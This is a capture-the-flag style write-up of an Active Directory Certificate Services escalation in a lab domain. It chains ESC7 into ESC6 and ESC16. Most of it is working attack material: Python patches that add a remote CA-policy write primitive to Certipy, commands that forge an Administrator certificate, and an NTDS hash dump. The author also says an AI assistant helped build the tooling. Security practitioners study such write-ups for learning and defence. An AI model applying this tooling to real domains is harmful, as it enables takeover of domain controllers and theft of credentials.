The classic ESC7 method looks like this :

  1. Enable SubCA
  2. Request SubCA, which fails due to a lack of enrollment
  3. Issue the request as an officer

This relies on forging a SAN and the SubCA template already permits a requester supplied SAN, so on a legacy DC this is enough. But our DC is patched and on a patched DC forging a SAN is no longer sufficient.

So instead of fighting with SubCA, we’ll abuse ManageCA for what it really gives us: the ability to reconfigure the CA. We turn two global CA settings into our weapons :

  • A check on the template/CA side : is the SAN I provide actually taken into account? -> ESC6
  • A check on the KDC mapping side : even if my SAN is accepted, does the DC map me to the forged account? -> ESC16

Here, ESC7 is not the final exploit - we’ll use it to enable ESC6 + ESC16, then enroll on the standard User template with a forged SAN.

Note : because SubCA already allows a SAN, a pure SubCA route would only need ESC16. We need to enable ESC6 specifically to go through the standard User template.

ESC6 - Theory

In the certipy find output :

1
User Specified SAN : Disabled

This means the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is not set on the CA. Consequently, when we enroll with a standard template like User the CA ignores/overwrites the SAN we provide and rebuilds the subject from AD then forging an identity is impossible.

Enabling ESC6 means setting this flag and once set, any template will honor an arbitrary SAN supplied in the request.

Without ESC6, our -upn administrator is simply discarded and we receive a certificate issued in our own name.

ESC16 - Theory

By default, the CA embeds the SID of the authenticated requester into every certificate it issues.

The KDC’s behavior is governed by StrongCertificateBindingEnforcement (HKLM\SYSTEM\CurrentControlSet\Services\Kdc):

  • 0 = Disabled
  • 1 = Compatibility (current default)
  • 2 = Full Enforcement

When the SID extension is present, it is authoritative - so even with ESC6 active and a certificate forged with Administrator as SAN, the cert still carries our SID:

  • in Compatibility (1), the KDC maps us to the SID owner
  • in Full Enforcement (2), the SID mismatch is rejected outright (KDC_ERR_CERTIFICATE_MISMATCH).

Either way, the forgery is neutralized.

ESC16 consists of adding the OID 1.3.6.1.4.1.311.25.2 to the CA’s DisableExtensionList. As a result, no certificate issued by that CA contains the SID extension, so there is nothing for the KDC to validate.

In Compatibility (1) mode, a certificate lacking the SID extension falls back to implicit/weak mapping based on the UPN.

Note : this only holds in Compatibility mode. In Full Enforcement (2), a cert with no SID extension would be rejected, and you’d have to pivot to an explicit strong mapping (altSecurityIdentities) instead.

alt text

ESC7 -> ESC6 + ESC16

Now, it’s time for exploitation, we have ManageCA on the CA but we don’t have a shell as zodiacGMSA$.

Then, we’ll need to customize our Certipy in order to enable ESC6 and ESC16 via certipy remotely - Claude could be able to help us a lot with that :))

The standard version of Certipy can read the CA configuration, but it cannot write to it - To enable ESC6, one previously needed shell access and the use of certutil -setreg on the DC

So (with the help of Claude of course), i modified and added the missing MS-CSRA write primitive, which makes the attack 100% remote without a shell required

ManageCA is precisely the right required to call it, so the gMSA can rewrite the CA policy remotely over DCOM/RPC

Here are the changes that need to be made to the code :

    1. Imports - (SAFEARRAY / BSTR / VARIANT / NDRPOINTER)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# certipy/commands/ca.py (lines 21-32)

from impacket.dcerpc.v5.dcom.oaut import (
    BSTR,
    PSAFEARRAY,
    SAFEARRAYBOUND,
    VARIANT,
    VARENUM,
    SF_TYPE,
    varUnion,
)
from impacket.dcerpc.v5.dcomrt import DCOMANSWER, DCOMCALL, IRemUnknown, IRemUnknown2
from impacket.dcerpc.v5.dtypes import DWORD, LONG, LPWSTR, PBYTE, ULONG, WSTR
from impacket.dcerpc.v5.ndr import NDRPOINTER, NDRSTRUCT
    1. Fix Impacket’s VARIANT union
1
2
3
4
5
6
7
8
# certipy/commands/ca.py (lines 57-64)

class PPSAFEARRAY(NDRPOINTER):
    """PSAFEARRAY is a pointer to SAFEARRAY, itself a unique pointer."""

    referent = (("Data", PSAFEARRAY),)

varUnion.union[VARENUM.VT_ARRAY] = ("parray", PPSAFEARRAY)
    1. Declare the missing MS-CSRA write method
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# certipy/commands/ca.py (lines 250-263)

class ICertAdminD2SetConfigEntry(DCOMCALL):
    """Set a persisted CA configuration entry through MS-CSRA."""

    opnum = 45
    structure = (
        ("pwszAuthority", LPWSTR),
        ("pwszNodePath", LPWSTR),
        ("pwszEntry", WSTR),
        ("pVariant", VARIANT),
    )


class ICertAdminD2SetConfigEntryResponse(DCOMANSWER):
    structure = (("ErrorCode", ULONG),)
    1. Marshal the VARIANT value
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# certipy/commands/ca.py (lines 610-642)

    @staticmethod
    def _config_variant(value: Union[int, List[str]]) -> VARIANT:
        """Build the VARIANT encodings used by the CA policy entries we edit."""
        variant = VARIANT(None, False)
        data = variant["Data"]
        if isinstance(value, int):
            data["clSize"] = 3
            data["vt"] = VARENUM.VT_I4
            data["_varUnion"]["tag"] = VARENUM.VT_I4
            data["_varUnion"]["lVal"] = value
            return variant

        # wireVARIANT.clSize is the structure size in 64-bit words.
        data["clSize"] = 3
        data["vt"] = VARENUM.VT_ARRAY | VARENUM.VT_BSTR
        data["_varUnion"]["tag"] = VARENUM.VT_ARRAY
        array = data["_varUnion"]["parray"]
        array["cDims"] = 1
        array["fFeatures"] = 0x0100  # FADF_BSTR
        array["cbElements"] = 4
        array["cLocks"] = 0
        array["uArrayStructs"]["tag"] = SF_TYPE.SF_BSTR
        strings = array["uArrayStructs"]["BstrStr"]
        strings["Size"] = len(value)
        for item in value:
            entry = BSTR()
            entry["Data"]["asData"] = item
            strings["aBstr"].append(entry)
        bound = SAFEARRAYBOUND()
        bound["cElements"] = len(value)
        bound["lLbound"] = 0
        array["rgsabound"].append(bound)
        return variant
    1. Read / write wrappers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# certipy/commands/ca.py (lines 644-663)

    def get_config_entry(self, node: str, name: str) -> Any:
        request = ICertAdminD2GetConfigEntry()
        request["pwszAuthority"] = checkNullString(self.ca)
        request["pwszNodePath"] = checkNullString(node)
        request["pwszEntry"] = checkNullString(name)
        response = self.cert_admin2.request(request)
        return response["pVariant"]

    def set_config_entry(self, node: str, name: str, value: Union[int, List[str]]) -> bool:
        request = ICertAdminD2SetConfigEntry()
        request["pwszAuthority"] = checkNullString(self.ca)
        request["pwszNodePath"] = checkNullString(node)
        request["pwszEntry"] = checkNullString(name)
        request["pVariant"] = self._config_variant(value)
        response = self.cert_admin2.request(request)
        result = int(response["ErrorCode"])
        if result != 0:
            logging.error(f"SetConfigEntry for {name} failed: 0x{result:08x}")
            return False
        return True
    1. Toggle ESC6
1
2
3
4
5
6
7
8
9
10
11
# certipy/commands/ca.py (lines 665-673)

    def toggle_esc6(self, enabled: bool) -> Optional[bool]:
        node = "PolicyModules\\CertificateAuthority_MicrosoftDefault.Policy"
        current = self.get_config_entry(node, "EditFlags")
        flags = int(current["_varUnion"]["lVal"])
        desired = (flags | 0x00040000) if enabled else (flags & ~0x00040000)
        if flags == desired:
            logging.info(f"ESC6 is already {'enabled' if enabled else 'disabled'}")
            return None
        return self.set_config_entry(node, "EditFlags", desired)
    1. Toggle ESC16
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# certipy/commands/ca.py (lines 675-704)

    def toggle_esc16(self, enabled: bool) -> Optional[bool]:
        node = "PolicyModules\\CertificateAuthority_MicrosoftDefault.Policy"
        current = self.get_config_entry(node, "DisableExtensionList")
        variant_type = int(current["vt"])
        if variant_type == VARENUM.VT_BSTR:
            value = current["_varUnion"]["bstrVal"]["asData"]
            extensions = [item for item in value.split("\x00") if item]
        elif variant_type == VARENUM.VT_ARRAY | VARENUM.VT_BSTR:
            array = current["_varUnion"]["parray"]
            values = array["uArrayStructs"]["BstrStr"]["aBstr"]
            extensions = []
            for item in values:
                chars = item["Data"]["asData"]
                if isinstance(chars, str):
                    extension = chars.rstrip("\x00")
                else:
                    extension = "".join(chr(int(char)) for char in chars).rstrip("\x00")
                extensions.append(extension)
        else:
            raise ValueError(f"Unexpected DisableExtensionList VARIANT type: {variant_type}")
        oid = "1.3.6.1.4.1.311.25.2"
        updated = list(dict.fromkeys(x for x in extensions if x))
        if enabled and oid not in updated:
            updated.append(oid)
        elif not enabled:
            updated = [item for item in updated if item != oid]
        if updated == extensions:
            logging.info(f"ESC16 is already {'enabled' if enabled else 'disabled'}")
            return None
        return self.set_config_entry(node, "DisableExtensionList", updated)
    1. Restart CertSvc remotely
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# certipy/commands/ca.py (lines 706-787)

    def restart_ca_service(self) -> bool:
        """Restart CertSvc so persisted policy changes become active."""
        dce = get_dce_rpc(
            scmr.MSRPC_UUID_SCMR,
            "\\pipe\\svcctl",
            self.target,
            timeout=self.timeout,
            dynamic=self.dynamic,
            auth_level_np=rpcrt.RPC_C_AUTHN_LEVEL_NONE,
        )
        if dce is None:
            logging.error("Could not connect to the Service Control Manager")
            return False
        manager = None
        service = None
        operation = "open SCM"
        try:
            manager = scmr.hROpenSCManagerW(
                dce, dwDesiredAccess=scmr.SC_MANAGER_CONNECT
            )["lpScHandle"]
            operation = "open CertSvc"
            service = scmr.hROpenServiceW(
                dce,
                manager,
                "CertSvc",
                dwDesiredAccess=scmr.SERVICE_STOP | scmr.SERVICE_START | scmr.SERVICE_QUERY_STATUS,
            )["lpServiceHandle"]

            operation = "query CertSvc status"
            status = scmr.hRQueryServiceStatus(dce, service)["lpServiceStatus"]
            if int(status["dwCurrentState"]) != scmr.SERVICE_STOPPED:
                operation = "stop CertSvc"
                scmr.hRControlService(dce, service, scmr.SERVICE_CONTROL_STOP)

            deadline = time.monotonic() + 30
            while time.monotonic() < deadline:
                operation = "wait for CertSvc to stop"
                status = scmr.hRQueryServiceStatus(dce, service)["lpServiceStatus"]
                if int(status["dwCurrentState"]) == scmr.SERVICE_STOPPED:
                    break
                time.sleep(0.5)
            else:
                logging.error("Timed out waiting for CertSvc to stop")
                return False

            try:
                operation = "start CertSvc"
                scmr.hRStartServiceW(dce, service)
            except Exception:
                operation = "confirm CertSvc start"
                status = scmr.hRQueryServiceStatus(dce, service)["lpServiceStatus"]
                if int(status["dwCurrentState"]) != scmr.SERVICE_RUNNING:
                    raise

            deadline = time.monotonic() + 30
            while time.monotonic() < deadline:
                operation = "wait for CertSvc to start"
                status = scmr.hRQueryServiceStatus(dce, service)["lpServiceStatus"]
                if int(status["dwCurrentState"]) == scmr.SERVICE_RUNNING:
                    # SCM reports RUNNING before the CA's DCOM endpoint is ready.
                    time.sleep(3)
                    logging.info("CertSvc restarted successfully")
                    return True
                time.sleep(0.5)

            logging.error("Timed out waiting for CertSvc to start")
            return False
        except Exception as e:
            logging.warning(f"Could not {operation} remotely: {e}")
            logging.warning("The CA settings were persisted but need a service restart to take effect")
            return False
        finally:
            if service is not None:
                try:
                    scmr.hRCloseServiceHandle(dce, service)
                except Exception:
                    pass
            if manager is not None:
                try:
                    scmr.hRCloseServiceHandle(dce, manager)
                except Exception:
                    pass
    1. Dispatch in the ca entry point
1
2
3
4
5
6
7
8
9
10
# certipy/commands/ca.py (lines 1909-1916)

    elif options.esc6 is not None:
        changed = ca.toggle_esc6(options.esc6 == "enable")
        if changed:
            ca.restart_ca_service()
    elif options.esc16 is not None:
        changed = ca.toggle_esc16(options.esc16 == "enable")
        if changed:
            ca.restart_ca_service()
    1. Expose the CLI flags
1
2
3
4
5
6
7
8
9
10
11
12
# certipy/commands/parsers/ca.py (lines 73-82)

    subparser.add_argument(
        "-esc6",
        choices=["enable", "disable"],
        help="Enable or disable ESC6 through the remote CA administration interface",
    )
    subparser.add_argument(
        "-esc16",
        choices=["enable", "disable"],
        help="Enable or disable ESC16 through the remote CA administration interface",
    )

alt text

With these in place, each certipy ca ... -esc6 enable / -esc16 reads the current policy value via GetConfigEntry, flips it with SetConfigEntry and restarts CertSvc - fully remote, thanks to ManageCA

Ok let’s start :

1
2
3
4
5
6
7
8
9
./.venv/bin/certipy ca -ca 'Zodiac-DC01-CA' -u 'zodiacGMSA$@zodiac.keno' -aes '549...41' -target dc01.zodiac.keno -target-ip 10.253.16.5 -dc-host DC01.zodiac.keno -dc-ip 10.253.16.5 -esc6 enable
Certipy v5.1.0+zodiac - by Oliver Lyak (ly4k)

[*] CertSvc restarted successfully

./.venv/bin/certipy ca -ca 'Zodiac-DC01-CA' -u 'zodiacGMSA$@zodiac.keno' -aes '549...41' -target dc01.zodiac.keno -target-ip 10.253.16.5 -dc-host DC01.zodiac.keno -dc-ip 10.253.16.5 -esc16 enable
Certipy v5.1.0+zodiac - by Oliver Lyak (ly4k)

[*] CertSvc restarted successfully

We can verify it with -debug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
./.venv/bin/certipy ca -ca 'Zodiac-DC01-CA' -u 'zodiacGMSA$@zodiac.keno' -aes '549...41' -target dc01.zodiac.keno -target-ip 10.253.16.5 -dc-host DC01.zodiac.keno -dc-ip 10.253.16.5 -esc16 enable -debug && ./.venv/bin/certipy ca -ca 'Zodiac-DC01-CA' -u 'zodiacGMSA$@zodiac.keno' -aes '549...41' -target dc01.zodiac.keno -target-ip 10.253.16.5 -dc-host DC01.zodiac.keno -dc-ip 10.253.16.5 -esc6 enable -debug

Certipy v5.1.0+zodiac - by Oliver Lyak (ly4k)

[+] Nameserver: '10.253.16.5'
[+] DC IP: '10.253.16.5'
[+] Source DC IP: None
[+] DC Host: 'DC01.zodiac.keno'
[+] Target IP: '10.253.16.5'
[+] Remote Name: 'dc01.zodiac.keno'
[+] Domain: 'ZODIAC.KENO'
[+] Username: 'ZODIACGMSA$'
[+] Trying to get DCOM connection for: '10.253.16.5'
[+] Checking for Kerberos ticket cache
[+] Getting TGT for 'ZODIACGMSA$'@'ZODIAC.KENO'
[+] Got TGT for 'ZODIACGMSA$'@'ZODIAC.KENO'
[+] Getting TGS for 'HOST/dc01.zodiac.keno'
[+] Got TGS for 'HOST/dc01.zodiac.keno'
[*] ESC16 is already enabled
Certipy v5.1.0+zodiac - by Oliver Lyak (ly4k)

[+] Nameserver: '10.253.16.5'
[+] DC IP: '10.253.16.5'
[+] Source DC IP: None
[+] DC Host: 'DC01.zodiac.keno'
[+] Target IP: '10.253.16.5'
[+] Remote Name: 'dc01.zodiac.keno'
[+] Domain: 'ZODIAC.KENO'
[+] Username: 'ZODIACGMSA$'
[+] Trying to get DCOM connection for: '10.253.16.5'
[+] Checking for Kerberos ticket cache
[+] Getting TGT for 'ZODIACGMSA$'@'ZODIAC.KENO'
[+] Got TGT for 'ZODIACGMSA$'@'ZODIAC.KENO'
[+] Getting TGS for 'HOST/dc01.zodiac.keno'
[+] Got TGS for 'HOST/dc01.zodiac.keno'
[*] ESC6 is already enabled

From here, there are various ways to obtain a certificate as Administrator, but we will show only one of them in this writeup

The gMSA cannot enroll in User, and its account object can’t satisfy the User template. So we pivot to a domain user we control (julien.meyer) who can enroll in User directly - ESC6 then lets us overwrite the SAN with administrator

Verify ESC6/ESC16 + Julien meyer rights

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
certipy find -u 'julien.meyer@zodiac.keno' -p 'REDACTED' -target dc01.zodiac.keno -target-ip 10.253.16.5 -dc-ip 10.253.16.5 -stdout -vulnerable

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*....
....
      Owner                             : ZODIAC.KENO\Administrators
      Access Rights
        Enroll                          : ZODIAC.KENO\Authenticated Users
        ManageCa                        : ZODIAC.KENO\Administrators
                                          ZODIAC.KENO\Domain Admins
                                          ZODIAC.KENO\Enterprise Admins
                                          ZODIAC.KENO\zodiacGMSA
        ManageCertificates              : ZODIAC.KENO\Administrators
                                          ZODIAC.KENO\Domain Admins
                                          ZODIAC.KENO\Enterprise Admins
                                          ZODIAC.KENO\zodiacGMSA
                                          ZODIAC.KENO\Julien Meyer
    [+] User Enrollable Principals      : ZODIAC.KENO\Authenticated Users
    [+] User ACL Principals             : ZODIAC.KENO\Julien Meyer
    [!] Vulnerabilities
      ESC6                              : Enrollee can specify SAN.
      ESC7                              : User has dangerous permissions.
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC6                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

Ok nice !

1
2
3
4
5
6
7
8
9
10
11
certipy req -ca 'Zodiac-DC01-CA' -template 'User' -sid 'S-1-5-21-175356196-1599867514-1195351626-500' -upn 'administrator@zodiac.keno' -u 'julien.meyer@zodiac.keno' -p 'REDACTED' -target dc01.zodiac.keno -target-ip 10.253.16.5 -dc-ip 10.253.16.5 -dc-host dc01.zodiac.keno

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 48
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@zodiac.keno'
[*] Certificate object SID is 'S-1-5-21-175356196-1599867514-1195351626-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Note on -sid : ESC16 only removes the authoritative SID security extension (szOID_NTDS_CA_SECURITY_EXT, 1.3.6.1.4.1.311.25.2) - the one that would otherwise pin the certificate back to our SID and break the forgery. It does not help us positively map to Administrator. In Compatibility mode, a cert with no SID extension falls back to implicit UPN mapping, but that only works if the target account has a matching userPrincipalName - and the built-in Administrator has none. So we still have to supply the target’s SID ourselves.

alt text

Grab the .ccache and dump NTDS !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
certipy auth -pfx administrator.pfx -dc-ip 10.253.16.5

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@zodiac.keno'
[*]     SAN URL SID: 'S-1-5-21-175356196-1599867514-1195351626-500'
[*] Using principal: 'administrator@zodiac.keno'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@zodiac.keno': aad3b435b51404eeaad3b435b51404ee:d2c...a1

export KRB5CCNAME=administrator.ccache && nxc smb DC01.zodiac.keno --use-kcache --kdcHost 10.253.16.5 --ntds --user 'DC01$'

SMB         DC01.zodiac.keno 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:zodiac.keno) (signing:True) (SMBv1:None)
SMB         DC01.zodiac.keno 445    DC01             [+] ZODIAC.KENO\administrator from ccache (admin)
SMB         DC01.zodiac.keno 445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         DC01.zodiac.keno 445    DC01             DC01$:1001:aad3b435b51404eeaad3b435b51404ee:038...7e:::
SMB         DC01.zodiac.keno 445    DC01             [+] Dumped 1 NTDS hashes to /root/.nxc/logs/ntds/DC01_DC01.zodiac.keno_2026-12-04_192809.ntds of which 0 were added to the database

alt text

If you have any questions, you can dm me on twitter or on discord at : ‘ethicxz.’

This post is licensed under CC BY 4.0 by the author.